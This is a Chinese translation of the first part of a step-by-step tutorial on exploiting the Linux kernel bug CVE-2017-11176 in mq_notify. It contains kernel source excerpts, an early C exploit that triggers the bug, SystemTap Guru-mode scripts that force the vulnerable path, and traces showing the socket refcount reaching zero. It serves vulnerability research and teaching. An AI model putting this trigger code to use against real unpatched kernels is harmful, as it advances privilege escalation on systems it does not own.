CVE-2017-11176: 一步一步linux内核漏洞利用 (一)（System Tap）

lm0963 / 2019-05-27 09:01:00 / 浏览数 4782 安全技术 二进制安全 顶(0) 踩(0)

本文翻译自：CVE-2017-11176: A step-by-step Linux Kernel exploitation (part 1/4)

译者注：由于有点长，所以分成了两部分，前一部分链接

Reaching the Retry Logic

在上一节中，我们分析了漏洞并设计了一个可以触发漏洞的攻击场景。在本节中，我们将看到如何触发漏洞代码（retry部分）并开始编写漏洞利用代码。

实际上，在开始前，我们必须检查该漏洞是否是可利用的。如果我们甚至无法到达有漏洞的代码路径（由于一些安全检查不满足），那就没有理由继续了。

分析retry前的代码

像大多数系统调用一样，mq_notify首先使用copy_from_user()函数将用户空间的数据拷贝到内核空间：

```
SYSCALL_DEFINE2(mq_notify, mqd_t, mqdes,
       const struct sigevent __user *, u_notification)
   {
     int ret;
     struct file *filp;
     struct sock *sock;
     struct inode *inode;
     struct sigevent notification;
     struct mqueue_inode_info *info;
     struct sk_buff *nc;

[0]   if (u_notification) {
[1]     if (copy_from_user(&notification, u_notification,
             sizeof(struct sigevent)))
         return -EFAULT;
     }

     audit_mq_notify(mqdes, u_notification ? &notification : NULL);  // <--- you can ignore this
```

代码首先检查用户空间提供的参数u_notification不为NULL [0]然后将它拷贝到内核空间中[1]（notification）。

接下来，有一系列对于用户空间提供的struct sigevent参数的检查：

```
nc = NULL;
     sock = NULL;
[2]   if (u_notification != NULL) {
[3a]    if (unlikely(notification.sigev_notify != SIGEV_NONE &&
             notification.sigev_notify != SIGEV_SIGNAL &&
             notification.sigev_notify != SIGEV_THREAD))
         return -EINVAL;
[3b]    if (notification.sigev_notify == SIGEV_SIGNAL &&
         !valid_signal(notification.sigev_signo)) {
         return -EINVAL;
       }
[3c]    if (notification.sigev_notify == SIGEV_THREAD) {
         long timeo;

         /* create the notify skb */
         nc = alloc_skb(NOTIFY_COOKIE_LEN, GFP_KERNEL);
         if (!nc) {
           ret = -ENOMEM;
           goto out;
         }
[4]       if (copy_from_user(nc->data,
             notification.sigev_value.sival_ptr,
             NOTIFY_COOKIE_LEN)) {
           ret = -EFAULT;
           goto out;
         }
```

```
        /* TODO: add a header? */
        skb_put(nc, NOTIFY_COOKIE_LEN);
        /* and attach it to the socket */

   retry:                                     // <---- we want to reach this!
           filp = fget(notification.sigev_signo);
```

如果提供的参数不为NULL
[2]，则会检查sigev_notify三次（[3a]，[3b]，[3c]）。另一处copy_from_user()调用会将用户提供的notification.sigev_value_sival_ptr的值作为参数[4]。这需要指向有效的

struct sigevent声明：

```
// [include/asm-generic/siginfo.h]

   typedef union sigval {
     int sival_int;
     void __user *sival_ptr;
   } sigval_t;

   typedef struct sigevent {
     sigval_t sigev_value;
     int sigev_signo;
     int sigev_notify;
     union {
       int _pad[SIGEV_PAD_SIZE];
        int _tid;

       struct {
         void (*_function)(sigval_t);
         void *_attribute; /* really pthread_attr_t */
       } _sigev_thread;
     } _sigev_un;
   } sigevent_t;
```

最后，要进入retry路径至少一次，我们需要按如下方式执行：

- u_notification参数不为NULL
- 将u_notification.sigev_notify设置为SIGEV_THREAD
- notification.sigev_value.sival_ptr必须指向至少有NOTIFY_COOKIE_LEN（=32）字节的有效可读用户空间地址（参考[include/linux/mqueue.h]）

首次编写exp

开始编写exp并验证一切ok

```
/*
    * CVE-2017-11176 Exploit.
    */

   #include <mqueue.h>
   #include <stdio.h>
   #include <string.h>


   #define NOTIFY_COOKIE_LEN (32)


   int main(void)
   {
     struct sigevent sigev;
     char sival_buffer[NOTIFY_COOKIE_LEN];

     printf("-={ CVE-2017-11176 Exploit }=-\n");

     // initialize the sigevent structure
     memset(&sigev, 0, sizeof(sigev));
     sigev.sigev_notify = SIGEV_THREAD;
     sigev.sigev_value.sival_ptr = sival_buffer;
```

```
    if (mq_notify((mqd_t)-1, &sigev))
    {
      perror("mqnotify");
      goto fail;
    }
    printf("mqnotify succeed\n");

    // TODO: exploit

    return 0;

  fail:
    printf("exploit failed!\n");
    return -1;
  }
```

建议使用Makefile来简化漏洞利用开发（可以很方便构建并运行脚本）。编译的时候需要带有-lrt编译参数，代码中要使用mq_notify就需要加这个参数（gcc -lrt）。此外，建议使用-O0编译参数来避免gcc重新排序我们的代码（它可能导致难以调试的错误）。

```
-={ CVE-2017-11176 Exploit }=-
mqnotify: Bad file descriptor
exploit failed!
```

mq_notify返回"Bad file descriptor"，相当于"-EBADF"。有三个地方可能产生此错误。可能是两个fget()调用之一，也可能是后面的(filp->f_op != &mqueue_file_operations)检查。

Hello System Tap!

在漏洞利用开发的早期阶段，强烈建议在带有调试符号的内核中运行漏洞，它允许使用SystemTap！SystemTap是一个很棒的工具，可以在不进入gdb的情况下直接探测内

让我们从基本的System Tap（stap）脚本开始：

```
# mq_notify.stp

  probe syscall.mq_notify
  {
    if (execname() == "exploit")
    {
      printf("\n\n(%d-%d) >>> mq_notify (%s)\n", pid(), tid(), argstr)
    }
  }

  probe syscall.mq_notify.return
  {
    if (execname() == "exploit")
    {
      printf("(%d-%d) <<< mq_notify = %x\n\n\n", pid(), tid(), $return)
    }
  }
```

这个脚本安装了两个探测器，这些探测器将在系统调用执行前和执行后分别被调用。

在调试多线程时，打印pid()和tid()会有很大帮助。另外，使用（execname()=="exploit"）判断语句允许限制输出。

WARNING：如果输出太多，systemtap可能会默默地丢弃某些行！

运行脚本

```
stap -v mq_notify.stp
```

运行exp:

```
(14427-14427) >>> mq_notify (-1, 0x7ffdd7421400)
(14427-14427) <<< mq_notify = ffffffffffffffe7
```

很好，探针似乎有效。我们可以看到mq_notify()系统调用的两个参数都符合我们传入的参数（我们设置第一个参数为"-1"，而0x7ffdd7421400看起来像用户空间的地址）。

与syscall钩子（以"SYSCALL_DEFINE*"开头的函数）不同，可以使用以下语法钩住普通内核函数:

```
probe kernel.function ("fget")
  {
```

```
    if (execname() == "exploit")
    {
      printf("(%d-%d) [vfs] ==>> fget (%s)\n", pid(), tid(), $$parms)
    }
  }
```

WARNING:由于某种原因，并非所有内核函数都可以使用钩子。在出错情况下，System Tap会通知你并拒绝启动脚本。

让我们为mq_notify()中调用的每一个函数添加相应探针，以查看代码流并重新运行exp：

```
(17850-17850) [SYSCALL] ==>> mq_notify (-1, 0x7ffc30916f50)
(17850-17850) [uland] ==>> copy_from_user ()
(17850-17850) [skb] ==>> alloc_skb (priority=0xd0 size=0x20)
(17850-17850) [uland] ==>> copy_from_user ()
(17850-17850) [skb] ==>> skb_put (skb=0xffff88002e061200 len=0x20)
(17850-17850) [skb] <<== skb_put = ffff88000a187600
(17850-17850) [vfs] ==>> fget (fd=0x3)
(17850-17850) [vfs] <<== fget = ffff88002e271280
(17850-17850) [netlink] ==>> netlink_getsockbyfilp (filp=0xffff88002e271280)
(17850-17850) [netlink] <<== netlink_getsockbyfilp = ffff88002ff82800
(17850-17850) [netlink] ==>> netlink_attachskb (sk=0xffff88002ff82800 skb=0xffff88002e061200 timeo=0xffff88002e1f3f40 ssk=0x0)
(17850-17850) [netlink] <<== netlink_attachskb = 0
(17850-17850) [vfs] ==>> fget (fd=0xffffffff)
(17850-17850) [vfs] <<== fget = 0
(17850-17850) [netlink] ==>> netlink_detachskb (sk=0xffff88002ff82800 skb=0xffff88002e061200)
(17850-17850) [netlink] <<== netlink_detachskb
(17850-17850) [SYSCALL] <<== mq_notify= -9
```

第一个漏洞

我们似乎正确地到达了retry代码路径，因为我们有以下执行过程：

- copy_from_user：我们的指针不为null
- alloc_skb：我们通过了SIGEV_THREAD判断
- copy_from_user：复制了我们的sival_buffer
- skb_put：表示先前的copy_from_user()并没有失败
- fget（fd = 0x3）：<--- ???

Hmm.....哪里已经出错了.....我们没有在notification.sigev_signo中提供任何文件描述符，它应该是零（不是3）：

```
// initialize the sigevent structure
     memset(&sigev, 0, sizeof(sigev));
     sigev.sigev_notify = SIGEV_THREAD;
     sigev.sigev_value.sival_ptr = sival_buffer;
```

然而，第一次调用fget()并没有失败。另外netlink_getsockbyfilp()和netlink_attachskb()都成功了！这也很奇怪，因为我们没有创建任何AF_NETLINK套接字。

第二次fget()调用失败了，因为我们在mq_notify()的第一个参数中设置了"-1"（0xffffffff）。那么，哪里出错了？

让我们回到exp，打印我们的sigevent指针，并将其与传递给系统调用的值进行比较：

```
printf("sigev = 0x%p\n", &sigev);
 if (mq_notify((mqd_t) -1, &sigev))

-={ CVE-2017-11176 Exploit }=-
sigev = 0x0x7ffdd9257f00        // <------
mq_notify: Bad file descriptor
exploit failed!

(18652-18652) [SYSCALL] ==>> mq_notify (-1, 0x7ffdd9257e60)
```

显然，传递给系统调用mq_notify的结构体与我们在exp中提供的不同。这意味着system tap是有问题的（有可能）或者.....

...我们被库封装骗了

让我们解决这个问题，通过syscall()系统调用来直接调用mq_notify。

首先添加以下头文件，以及我们自己的包装器：

```
#define _GNU_SOURCE
   #include <unistd.h>
```

```
#include <sys/syscall.h>

#define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)
```

另外，请记住在Makefile中删除“-lrt”（我们现在直接使用syscall）。

将sigev_signo显式设置为'-1'，因为0实际上是一个有效的文件描述符，并使用包装器：

```
int main(void)
     {
       // ... cut ...

       sigev.sigev_signo = -1;

       printf("sigev = 0x%p\n", &sigev);
       if (_mq_notify((mqd_t)-1, &sigev))

       // ... cut ...
     }
```

运行

```
-={ CVE-2017-11176 Exploit }=-
sigev = 0x0x7fffb7eab660
mq_notify: Bad file descriptor
exploit failed!

(18771-18771) [SYSCALL] ==>> mq_notify (-1, 0x7fffb7eab660)           // <--- as expected!
(18771-18771) [uland] ==>> copy_from_user ()
(18771-18771) [skb] ==>> alloc_skb (priority=0xd0 size=0x20)
(18771-18771) [uland] ==>> copy_from_user ()
(18771-18771) [skb] ==>> skb_put (skb=0xffff88003d2e95c0 len=0x20)
(18771-18771) [skb] <<== skb_put = ffff88000a0a2200
(18771-18771) [vfs] ==>> fget (fd=0xffffffff)                         // <---- that's better!
(18771-18771) [vfs] <<== fget = 0
(18771-18771) [SYSCALL] <<== mq_notify= -9
```

这一次，我们在第一次fget()失败之后直接进入out路径（如预期的那样）。

到目前为止，我们知道可以到达"retry路径（至少一次），而不会被任何安全检查所阻止。一个常见的陷阱已经暴露（由库封装而不是系统调用引起），我们知道了如何修复

让我们继续前进并在System Tap的帮助下触发漏洞。

强制触发漏洞

有时想要在不展开所有内核代码的情况下验证想法。在本节中，我们将使用System Tap Guru模式来修改内核数据结构并强制执行特定的内核路径。

换句话说，我们将从内核空间触发漏洞。我们的想法是，如果我们甚至无法从内核空间触发漏洞，那么我们也无法从用户空间做到。因此，让我们首先通过修改内核来满足每

提醒一下，如果满足下列两个条件就说明我们可以触发错误：

- 我们到达了“retry逻辑”（循环回到retry路径）。也就是说，我们首先需要进入netlink_attachskb()，并使其返回1. sock的引用计数将减一。
- 在循环回到retry路径（goto retry）之后，下一次调用fget()必须返回NULL，这样就会退出（out路径）并再次减少sock的引用计数。

netlink_attachskb()

在上一小节中，需要netlink_attachskb()返回1以触发漏洞。但是，在到达它之前有几个条件：

- 我们需要提供一个有效的文件描述符，这样第一次调用fget()不会失败
- 文件描述符指向的文件应该是AF_NETLINK类型的套接字

也就是说，我们应通过所有检查：

```
retry:
[0]       filp = fget(notification.sigev_signo);
         if (!filp) {
           ret = -EBADF;
           goto out;
         }
[1]       sock = netlink_getsockbyfilp(filp);
```

```
        fput(filp);
        if (IS_ERR(sock)) {
          ret = PTR_ERR(sock);
          sock = NULL;
          goto out;
        }
```

通过第一个检查[0]很简单，只需提供一个有效的文件描述符（使用open()，socket()等）。然而，最好直接使用正确的类型，否则不会通过第二次检查[1]：

```
struct sock *netlink_getsockbyfilp(struct file *filp)
   {
     struct inode *inode = filp->f_path.dentry->d_inode;
     struct sock *sock;

     if (!S_ISSOCK(inode->i_mode))         // <--- this need to be a socket...
       return ERR_PTR(-ENOTSOCK);

     sock = SOCKET_I(inode)->sk;
     if (sock->sk_family != AF_NETLINK)    // <--- ...from the AF_NETLINK family
       return ERR_PTR(-EINVAL);

     sock_hold(sock);
     return sock;
   }
```

漏洞利用代码改变（记得包装系统调用socket()）：

```
/*
    * CVE-2017-11176 Exploit.
    */

   #define _GNU_SOURCE
   #include <mqueue.h>
   #include <stdio.h>
   #include <string.h>
   #include <unistd.h>
   #include <sys/syscall.h>
   #include <sys/types.h>
   #include <sys/socket.h>
   #include <linux/netlink.h>

   #define NOTIFY_COOKIE_LEN (32)

   #define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)
   #define _socket(domain, type, protocol) syscall(__NR_socket, domain, type, protocol)

   int main(void)
   {
     struct sigevent sigev;
     char sival_buffer[NOTIFY_COOKIE_LEN];
     int sock_fd;

     printf("-={ CVE-2017-11176 Exploit }=-\n");

     if ((sock_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_GENERIC)) < 0)
     {
       perror("socket");
       goto fail;
     }
     printf("netlink socket created = %d\n", sock_fd);

     // initialize the sigevent structure
     memset(&sigev, 0, sizeof(sigev));
     sigev.sigev_notify = SIGEV_THREAD;
     sigev.sigev_value.sival_ptr = sival_buffer;
     sigev.sigev_signo = sock_fd;  // <--- not '-1' anymore

     if (_mq_notify((mqd_t)-1, &sigev))
     {
       perror("mq_notify");
```

```
      goto fail;
    }
    printf("mq_notify succeed\n");

    // TODO: exploit

    return 0;

  fail:
    printf("exploit failed!\n");
    return -1;
  }
```

运行：

```
-={ CVE-2017-11176 Exploit }=-
netlink socket created = 3
mq_notify: Bad file descriptor
exploit failed!

(18998-18998) [SYSCALL] ==>> mq_notify (-1, 0x7ffce9cf2180)
(18998-18998) [uland] ==>> copy_from_user ()
(18998-18998) [skb] ==>> alloc_skb (priority=0xd0 size=0x20)
(18998-18998) [uland] ==>> copy_from_user ()
(18998-18998) [skb] ==>> skb_put (skb=0xffff88003d1e0480 len=0x20)
(18998-18998) [skb] <<== skb_put = ffff88000a0a2800
(18998-18998) [vfs] ==>> fget (fd=0x3)                                    // <--- this time '3' is expected
(18998-18998) [vfs] <<== fget = ffff88003cf14d80                          // PASSED
(18998-18998) [netlink] ==>> netlink_getsockbyfilp (filp=0xffff88003cf14d80)
(18998-18998) [netlink] <<== netlink_getsockbyfilp = ffff88002ff60000     // PASSED
(18998-18998) [netlink] ==>> netlink_attachskb (sk=0xffff88002ff60000 skb=0xffff88003d1e0480 timeo=0xffff88003df8ff40 ssk=0x0)
(18998-18998) [netlink] <<== netlink_attachskb = 0                        // UNWANTED BEHAVIOR
(18998-18998) [vfs] ==>> fget (fd=0xffffffff)
(18998-18998) [vfs] <<== fget = 0
(18998-18998) [netlink] ==>> netlink_detachskb (sk=0xffff88002ff60000 skb=0xffff88003d1e0480)
(18998-18998) [netlink] <<== netlink_detachskb
(18998-18998) [SYSCALL] <<== mq_notify= -9
```

看起来和第一次有问题的输出(使用库函数那次)很像，这里的区别是我们实际控制每个数据（文件描述符，sigev），没有任何东西隐藏在库封装后面。由于第一个fget()和n

迫使netlink_attachskb()返回1

使用前面的代码，我们让netlink_attachskb()返回0。这意味着我们进入了“正常”路径。我们不希望这样，我们想进入“retry”路径（返回1）。那么，让我们回到内核代码：

```
int netlink_attachskb(struct sock *sk, struct sk_buff *skb,
             long *timeo, struct sock *ssk)
  {
    struct netlink_sock *nlk;

    nlk = nlk_sk(sk);

[0]   if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) {
      DECLARE_WAITQUEUE(wait, current);
      if (!*timeo) {
        // ... cut (never reached in our code path) ...
      }

      __set_current_state(TASK_INTERRUPTIBLE);
      add_wait_queue(&nlk->wait, &wait);

      if ((atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) &&
          !sock_flag(sk, SOCK_DEAD))
        *timeo = schedule_timeout(*timeo);

      __set_current_state(TASK_RUNNING);
      remove_wait_queue(&nlk->wait, &wait);
      sock_put(sk);

      if (signal_pending(current)) {
        kfree_skb(skb);
```

```
        return sock_intr_errno(*timeo);
      }
      return 1;                           // <---- the only way
    }
    skb_set_owner_r(skb, sk);
    return 0;
  }
```

让netlink_attachskb()返回“1”需要我们首先满足条件[0]：

```
if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state))
```

是时候释放System
Tap的真正力量并进入:Guru模式！Guru模式可以编写由探针调用的嵌入“C”代码。就像直接编写将在运行时注入的内核代码，就像Linux内核模块(LKM)一样。因此，这里的

这里要做的是修改struct sock "sk"和/或struct netlink_sock "nlk"数据结构，让条件成真。但是，在执行此操作之前，让我们获取一些有关当前struct sock sk状态的有用信息。

修改netlink_attachskb()探针并添加一些"嵌入"C代码（“%{”和“%}”部分）。

```
%{
   #include <net/sock.h>
   #include <net/netlink_sock.h>
   %}

   function dump_netlink_sock:long (arg_sock:long)
   %{
     struct sock *sk = (void*) STAP_ARG_arg_sock;
     struct netlink_sock *nlk = (void*) sk;

     _stp_printf("-={ dump_netlink_sock: %p }=-\n", nlk);
     _stp_printf("- sk = %p\n", sk);
     _stp_printf("- sk->sk_rmem_alloc = %d\n", sk->sk_rmem_alloc);
     _stp_printf("- sk->sk_rcvbuf = %d\n", sk->sk_rcvbuf);
     _stp_printf("- sk->sk_refcnt = %d\n", sk->sk_refcnt);

     _stp_printf("- nlk->state = %x\n", (nlk->state & 0x1));

     _stp_printf("-={ dump_netlink_sock: END}=-\n");
   %}

   probe kernel.function ("netlink_attachskb")
   {
     if (execname() == "exploit")
     {
       printf("(%d-%d) [netlink] ==>> netlink_attachskb (%s)\n", pid(), tid(), $$parms)

       dump_netlink_sock($sk);
     }
   }
```

WARNING:同样，这里的代码在内核态下运行，任何错误都会导致内核崩溃。

使用-g（即guru）修饰符运行system tap：

```
-={ CVE-2017-11176 Exploit }=-
netlink socket created = 3
mq_notify: Bad file descriptor
exploit failed!

(19681-19681) [SYSCALL] ==>> mq_notify (-1, 0x7ffebaa7e720)
(19681-19681) [uland] ==>> copy_from_user ()
(19681-19681) [skb] ==>> alloc_skb (priority=0xd0 size=0x20)
(19681-19681) [uland] ==>> copy_from_user ()
(19681-19681) [skb] ==>> skb_put (skb=0xffff88003d1e05c0 len=0x20)
(19681-19681) [skb] <<== skb_put = ffff88000a0a2200
(19681-19681) [vfs] ==>> fget (fd=0x3)
(19681-19681) [vfs] <<== fget = ffff88003d0d5680
(19681-19681) [netlink] ==>> netlink_getsockbyfilp (filp=0xffff88003d0d5680)
(19681-19681) [netlink] <<== netlink_getsockbyfilp = ffff880036256800
(19681-19681) [netlink] ==>> netlink_attachskb (sk=0xffff880036256800 skb=0xffff88003d1e05c0 timeo=0xffff88003df5bf40 ssk=0x0)
```

```
-={ dump_netlink_sock: 0xffff880036256800 }=-
- sk = 0xffff880036256800
- sk->sk_rmem_alloc = 0         // <-----
- sk->sk_rcvbuf = 133120        // <-----
- sk->sk_refcnt = 2
- nlk->state = 0                // <-----
-={ dump_netlink_sock: END}=-

(19681-19681) [netlink] <<== netlink_attachskb = 0
(19681-19681) [vfs] ==>> fget (fd=0xffffffff)
(19681-19681) [vfs] <<== fget = 0
(19681-19681) [netlink] ==>> netlink_detachskb (sk=0xffff880036256800 skb=0xffff88003d1e05c0)
(19681-19681) [netlink] <<== netlink_detachskb
(19681-19681) [SYSCALL] <<== mq_notify= -9
```

dump_netlink_sock()函数在进入netlink_attachskb()时被调用。我们可以看到，nlk->state的第一个比特位未设置，sk_rmem_alloc小于sk_rcvbuf ...所以我们并没有满足条件。

在调用netlink_attachskb()之前,修改nlk->state：

```
function dump_netlink_sock:long (arg_sock:long)
   %{
     struct sock *sk = (void*) STAP_ARG_arg_sock;
     struct netlink_sock *nlk = (void*) sk;

     _stp_printf("-={ dump_netlink_sock: %p }=-\n", nlk);
     _stp_printf("- sk = %p\n", sk);
     _stp_printf("- sk->sk_rmem_alloc = %d\n", sk->sk_rmem_alloc);
     _stp_printf("- sk->sk_rcvbuf = %d\n", sk->sk_rcvbuf);
     _stp_printf("- sk->sk_refcnt = %d\n", sk->sk_refcnt);

     _stp_printf("- (before) nlk->state = %x\n", (nlk->state & 0x1));
     nlk->state |= 1;                                                  // <-----
     _stp_printf("- (after) nlk->state = %x\n", (nlk->state & 0x1));

     _stp_printf("-={ dump_netlink_sock: END}=-\n");
   %}
```

再次运行：

```
-={ CVE-2017-11176 Exploit }=-
netlink socket created = 3

<<< HIT CTRL-C HERE >>>

^Cmake: *** [check] Interrupt


(20002-20002) [SYSCALL] ==>> mq_notify (-1, 0x7ffc48bed2c0)
(20002-20002) [uland] ==>> copy_from_user ()
(20002-20002) [skb] ==>> alloc_skb (priority=0xd0 size=0x20)
(20002-20002) [uland] ==>> copy_from_user ()
(20002-20002) [skb] ==>> skb_put (skb=0xffff88003d3a6080 len=0x20)
(20002-20002) [skb] <<== skb_put = ffff88002e142600
(20002-20002) [vfs] ==>> fget (fd=0x3)
(20002-20002) [vfs] <<== fget = ffff88003ddd8380
(20002-20002) [netlink] ==>> netlink_getsockbyfilp (filp=0xffff88003ddd8380)
(20002-20002) [netlink] <<== netlink_getsockbyfilp = ffff88003dde0400
(20002-20002) [netlink] ==>> netlink_attachskb (sk=0xffff88003dde0400 skb=0xffff88003d3a6080 timeo=0xffff88002e233f40 ssk=0x0)

-={ dump_netlink_sock: 0xffff88003dde0400 }=-
- sk = 0xffff88003dde0400
- sk->sk_rmem_alloc = 0
- sk->sk_rcvbuf = 133120
- sk->sk_refcnt = 2
- (before) nlk->state = 0
- (after)  nlk->state = 1
-={ dump_netlink_sock: END}=-
```

```
<<< HIT CTRL-C HERE >>>

(20002-20002) [netlink] <<== netlink_attachskb = ffffffffffffe00   // <-----
(20002-20002) [SYSCALL] <<== mq_notify= -512
```

Woops！阻塞在了mq_notify()调用中（即主要的exp进程卡在内核空间中，在系统调用内部）。幸运的是，我们可以使用CTRL-C来恢复控制。

注意，这一次netlink_attachskb()返回0xffffffffffffe00，即"-ERESTARTSYS"。换句话说，我们进入了这条代码路径：

```
if (signal_pending(current)) {
           kfree_skb(skb);
           return sock_intr_errno(*timeo); // <---- return -ERESTARTSYS
       }
```

这意味着我们实际上到达了netlink_attachskb()的另一条路径，任务成功！

避免阻塞

mq_notify()被阻塞的原因是：

```
__set_current_state(TASK_INTERRUPTIBLE);

       if ((atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) &&
           !sock_flag(sk, SOCK_DEAD))
           *timeo = schedule_timeout(*timeo);

       __set_current_state(TASK_RUNNING);
```

稍后我们将更加深入调度的细节部分（参见第2部分），但现在只要知道我们的进程将阻塞直到满足特殊条件（都是关于等待队列）。

也许我们可以避免被调度/阻塞？为此，我们需要避免调用schedule_timeout()。让我们将sk标记为"SOCK_DEAD"（条件的最后一部分）。也就是说，改变"sk"内容（就像我

```
// from [include/net/sock.h]
   static inline bool sock_flag(const struct sock *sk, enum sock_flags flag)
   {
     return test_bit(flag, &sk->sk_flags);
   }

   enum sock_flags {
     SOCK_DEAD,      // <---- this has to be '0', but we can check it with stap!
     ... cut ...
   }
```

再次修改探针：

```
// mark it congested!
 _stp_printf("- (before) nlk->state = %x\n", (nlk->state & 0x1));
 nlk->state |= 1;
 _stp_printf("- (after) nlk->state = %x\n", (nlk->state & 0x1));

 // mark it DEAD
 _stp_printf("- sk->sk_flags = %x\n", sk->sk_flags);
 _stp_printf("- SOCK_DEAD = %x\n", SOCK_DEAD);
 sk->sk_flags |= (1 << SOCK_DEAD);
 _stp_printf("- sk->sk_flags = %x\n", sk->sk_flags);
```

重新运行……boom！exp主进程阻塞在了内核的无限循环中。原因是：

- 它进入netlink_attachskb()函数并执行retry路径（先前设置的）
- 线程没有被调度（被绕过了）
- netlink_attachskb()返回1
- 回到mq_notify()，执行"goto retry"语句
- fget()返回一个非null值...
- ...netlink_getsockbyfilp()返回无误
- 接着再次进入netlink_attachskb（）...
- ...死循环...

因此，有效地绕过了阻塞我们的schedule_timeout()，但是产生了死循环。

避免死循环

继续改进探针，使fget()在第二次调用时失败！一种方法是直接从FDT中删除该文件描述符（设置为NULL）：

```
%{
   #include <linux/fdtable.h>
   %}

   function remove_fd3_from_fdt:long (arg_unused:long)
   %{
       _stp_printf("!!>>> REMOVING FD=3 FROM FDT <<<!!\n");
       struct files_struct *files = current->files;
       struct fdtable *fdt = files_fdtable(files);
       fdt->fd[3] = NULL;
   %}

   probe kernel.function ("netlink_attachskb")
   {
     if (execname() == "exploit")
     {
       printf("(%d-%d) [netlink] ==>> netlink_attachskb (%s)\n", pid(), tid(), $$parms)

       dump_netlink_sock($sk); // it also marks the socket as DEAD and CONGESTED
       remove_fd3_from_fdt(0);
     }
   }
```

```
-={ CVE-2017-11176 Exploit }=-
netlink socket created = 3
mq_notify: Bad file descriptor
exploit failed!

(3095-3095) [SYSCALL] ==>> mq_notify (-1, 0x7ffe5e528760)
(3095-3095) [uland] ==>> copy_from_user ()
(3095-3095) [skb] ==>> alloc_skb (priority=0xd0 size=0x20)
(3095-3095) [uland] ==>> copy_from_user ()
(3095-3095) [skb] ==>> skb_put (skb=0xffff88003f02cd00 len=0x20)
(3095-3095) [skb] <<== skb_put = ffff88003144ac00
(3095-3095) [vfs] ==>> fget (fd=0x3)
(3095-3095) [vfs] <<== fget = ffff880031475480
(3095-3095) [netlink] ==>> netlink_getsockbyfilp (filp=0xffff880031475480)
(3095-3095) [netlink] <<== netlink_getsockbyfilp = ffff88003cf56800
(3095-3095) [netlink] ==>> netlink_attachskb (sk=0xffff88003cf56800 skb=0xffff88003f02cd00 timeo=0xffff88002d79ff40 ssk=0x0)
-={ dump_netlink_sock: 0xffff88003cf56800 }=-
- sk = 0xffff88003cf56800
- sk->sk_rmem_alloc = 0
- sk->sk_rcvbuf = 133120
- sk->sk_refcnt = 2
- (before) nlk->state = 0
- (after) nlk->state = 1
- sk->sk_flags = 100
- SOCK_DEAD = 0
- sk->sk_flags = 101
-={ dump_netlink_sock: END}=-
!!>>> REMOVING FD=3 FROM FDT <<<!!
(3095-3095) [netlink] <<== netlink_attachskb = 1        // <-----
(3095-3095) [vfs] ==>> fget (fd=0x3)
(3095-3095) [vfs] <<== fget = 0                         // <-----
(3095-3095) [netlink] ==>> netlink_detachskb (sk=0xffff88003cf56800 skb=0xffff88003f02cd00)
(3095-3095) [netlink] <<== netlink_detachskb
(3095-3095) [SYSCALL] <<== mq_notify= -9
```

很好，内核跳出了人为制造的死循环。越来越接近攻击场景：

- netlink_attachskb()返回1
- 第二次fget()调用返回NULL

那么……我们是否触发了这个错误？

检查引用计数值

因为一切都按照我们的计划进行，所以漏洞应该被触发了并且sock的引用计数应该减少了两次。检查一下。

在函数返回时无法获得调用函数的参数。这意味着无法在netlink_attachskb()返回时检查sock的内容。

一种方法是将netlink_getsockbyfilp()返回的sock指针存储在全局变量中（脚本中的sock_ptr）。然后通过我们嵌入的"C"代码（dump_netlink_sock()）输出其内容：

```
global sock_ptr = 0;                  // <------ declared globally!

   probe syscall.mq_notify.return
   {
     if (execname() == "exploit")
     {
       if (sock_ptr != 0)               // <----- watch your NULL-deref, this is kernel-land!
       {
         dump_netlink_sock(sock_ptr);
         sock_ptr = 0;
       }

       printf("(%d-%d) [SYSCALL] <<== mq_notify= %d\n\n", pid(), tid(), $return)
     }
   }

   probe kernel.function ("netlink_getsockbyfilp").return
   {
     if (execname() == "exploit")
     {
       printf("(%d-%d) [netlink] <<== netlink_getsockbyfilp = %x\n", pid(), tid(), $return)
       sock_ptr = $return;                // <----- store it
     }
   }
```

再次运行

```
(3391-3391) [SYSCALL] ==>> mq_notify (-1, 0x7ffe8f78c840)
(3391-3391) [uland] ==>> copy_from_user ()
(3391-3391) [skb] ==>> alloc_skb (priority=0xd0 size=0x20)
(3391-3391) [uland] ==>> copy_from_user ()
(3391-3391) [skb] ==>> skb_put (skb=0xffff88003d20cd00 len=0x20)
(3391-3391) [skb] <<== skb_put = ffff88003df9dc00
(3391-3391) [vfs] ==>> fget (fd=0x3)
(3391-3391) [vfs] <<== fget = ffff88003d84ed80
(3391-3391) [netlink] ==>> netlink_getsockbyfilp (filp=0xffff88003d84ed80)
(3391-3391) [netlink] <<== netlink_getsockbyfilp = ffff88002d72d800
(3391-3391) [netlink] ==>> netlink_attachskb (sk=0xffff88002d72d800 skb=0xffff88003d20cd00 timeo=0xffff8800317a7f40 ssk=0x0)
-={ dump_netlink_sock: 0xffff88002d72d800 }=-
- sk = 0xffff88002d72d800
- sk->sk_rmem_alloc = 0
- sk->sk_rcvbuf = 133120
- sk->sk_refcnt = 2               // <------------
- (before) nlk->state = 0
- (after) nlk->state = 1
- sk->sk_flags = 100
- SOCK_DEAD = 0
- sk->sk_flags = 101
-={ dump_netlink_sock: END}=-
!!>>> REMOVING FD=3 FROM FDT <<<!!
(3391-3391) [netlink] <<== netlink_attachskb = 1
(3391-3391) [vfs] ==>> fget (fd=0x3)
(3391-3391) [vfs] <<== fget = 0
(3391-3391) [netlink] ==>> netlink_detachskb (sk=0xffff88002d72d800 skb=0xffff88003d20cd00)
(3391-3391) [netlink] <<== netlink_detachskb
-={ dump_netlink_sock: 0xffff88002d72d800 }=-
- sk = 0xffff88002d72d800
- sk->sk_rmem_alloc = 0
- sk->sk_rcvbuf = 133120
- sk->sk_refcnt = 0               // <-------------
- (before) nlk->state = 1
- (after) nlk->state = 1
```

```
- sk->sk_flags = 101
- SOCK_DEAD = 0
- sk->sk_flags = 101
-={ dump_netlink_sock: END}=-
(3391-3391) [SYSCALL] <<== mq_notify= -9
```

可以看到，sk->sk_refcnt已经减少了两次！成功触发了这个漏洞。

因为sock的引用计数为零，这意味着struct netlink_sock对象将会被释放。再添加一些其他探针：

```
... cut ...

